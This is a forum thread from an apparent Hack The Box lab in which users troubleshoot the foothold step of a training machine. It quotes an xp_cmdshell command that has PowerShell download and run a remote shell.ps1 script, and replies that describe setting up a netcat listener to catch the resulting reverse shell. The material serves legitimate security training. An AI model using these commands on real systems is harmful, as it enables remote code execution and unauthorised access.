Starting Point Foothold

edited March 25 in Machines

I am in the foothold step of starting point and get an error:

"Unable to connect to the remote server"

This is when I am trying to run the command on the 10.10.10.27 box xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"hxxp://10.10.14.3/shell.ps1\");"

I have been trying to figure it out but just stuck at this point. I can access the http server locally from my machine and see the shell.ps1 file in the directory but just unable to get this connection.

I ran the ufw commands and it shows the Rules updated, not sure if there might be a config that needs to be changed on the router to allow this through or not.

Tagged:

Comments

  • I have the same problem :'(

  • Should I be able to ping the 10.10.14[.]3 from the 10.27 box?

  • I solved mine , @turboedbird when you run the powershell command you have to enter your ip address which you can find with sudo ifconfig and specify port 80 for example x.x.x.x:80 .

  • The IP in shell.ps1 should be your own HTB-assigned IPv4 address. You can look up your IP addresses like so.

    $ ifconfig tun0
    inet x.x.x.x
    inet6 dead:beef:x::x
    

    inet is your IPv4 address while inet6 is your IPv6 address.

    After which, you should start your netcat listener like so.

    $ sudo nc -lnvp 443
    

    limbernie
    Write-ups of retired machines

  • edited March 27

    Type your comment> @limbernie said:

    The IP in shell.ps1 should be your own HTB-assigned IPv4 address. You can look up your IP addresses like so.

    $ ifconfig tun0
    inet x.x.x.x
    inet6 dead:beef:x::x
    

    inet is your IPv4 address while inet6 is your IPv6 address.

    After which, you should start your netcat listener like so.

    $ sudo nc -lnvp 443
    

    Thanks, figured it was something I was overlooking. I was able to connect.

Sign In to comment.